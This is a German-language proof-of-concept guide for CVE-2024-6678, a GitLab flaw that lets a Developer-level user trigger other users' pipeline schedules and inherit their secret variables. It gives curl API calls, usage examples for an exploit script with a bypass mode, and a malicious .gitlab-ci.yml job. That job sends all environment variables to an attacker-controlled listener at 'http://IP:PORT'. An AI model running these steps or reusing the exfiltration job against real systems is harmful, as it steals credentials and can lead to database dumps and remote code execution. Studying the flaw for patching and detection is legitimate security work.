
PoC for CVE-2024-6678
PoC für CVE-2024-6678
GitLab ermöglicht es Benutzern, CI/CD-Pipeline-Zeitpläne (Pipeline Schedules) manuell über die Schaltfläche „Play“ zu starten. Die Schwachstelle besteht darin, dass die Funktion „Play“ es jedem Benutzer mit Developer-Rechten (nicht nur dem Besitzer des Zeitplans) erlaubt, einen Zeitplan auszuführen. Dies hat zwei Konsequenzen:
Die letztendliche Auswirkung hängt davon ab, was in den Variablen des Zeitplans gespeichert ist. Beispielsweise ermöglicht die Variable DB_PASSWORD einen vollständigen Datenbank-Dump, während SSH_PRIVATE_KEY RCE ermöglicht.
develop, staging) – oder das Projekt enthält Zeitpläne mit kurzem Ref-Format (Bypass)Wichtig: Zeitpläne auf geschützten Branches (z. B.
refs/heads/mainbei aktiviertem Schutz) werden durch die RichtliniePipelineSchedulePolicy#protected_refblockiert und geben HTTP 403 zurück. Der Angriff funktioniert für ungeschützte Branches – genau dort werden oft Integrations- und Staging-Zeitpläne mit produktionsrelevanten Credentials erstellt.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules" \
| python3 -m json.tool
Suchen Sie einen Zeitplan, der einem privilegierteren Benutzer (Maintainer/Owner) gehört.
curl -s -X POST \
-H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipeline_schedules/SCHEDULE_ID/play"
Erwartete Antwort: HTTP 201 – Der Pipeline wurde in die Warteschlange eingereiht.
Der Pipeline wird im Namen des Angreifers (current_user) erstellt, jedoch mit allen Variablen des Zeitplans (einschließlich API-Schlüssel, Token, Credentials, die vom Besitzer konfiguriert wurden).
HTTP 500 „Unable to schedule pipeline run immediately“ – Erwartetes Verhalten. Dies ist die Sidekiq-Deduplizierung (
deduplicate :until_executed): Eine Aufgabe für diesen Zeitplan befindet sich bereits in der Warteschlange von einem vorherigen erfolgreichen Start. Der Angriff wurde also bereits zuvor ausgelöst und die Aufgabe wartet auf die Ausführung.
curl -s -H "PRIVATE-TOKEN: ATTACKER_TOKEN" \
"https://gitlab.example.com/api/v4/projects/PROJECT_ID/pipelines?source=schedule&per_page=5" \
| python3 -m json.tool | grep -E '"id"|"status"|"username"'
# Basisausführung: automatische Auswahl des Zeitplans
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42
# Bestimmten Zeitplan angeben
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--schedule-id 7
# Über GraphQL (erfordert --project-path)
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--graphql \
--project-path "mygroup/myrepo"
# Legacy-Ref-Bypass prüfen
python3 cve-2024-6678-poc.py \
--url https://gitlab.example.com \
--token glpat-xxxx \
--project-id 42 \
--exploit-mode
Vor dem Auslösen ersetzt der PoC die .gitlab-ci.yml in develop durch:
stages: [exfil]
dump_vars:
stage: exfil
script:
- env | grep -vE '^(CI_JOB_TOKEN|GITLAB_FEATURES)' | curl -X POST 'http://IP:PORT' --data-binary @-
All dies landet auf Ihrem Listener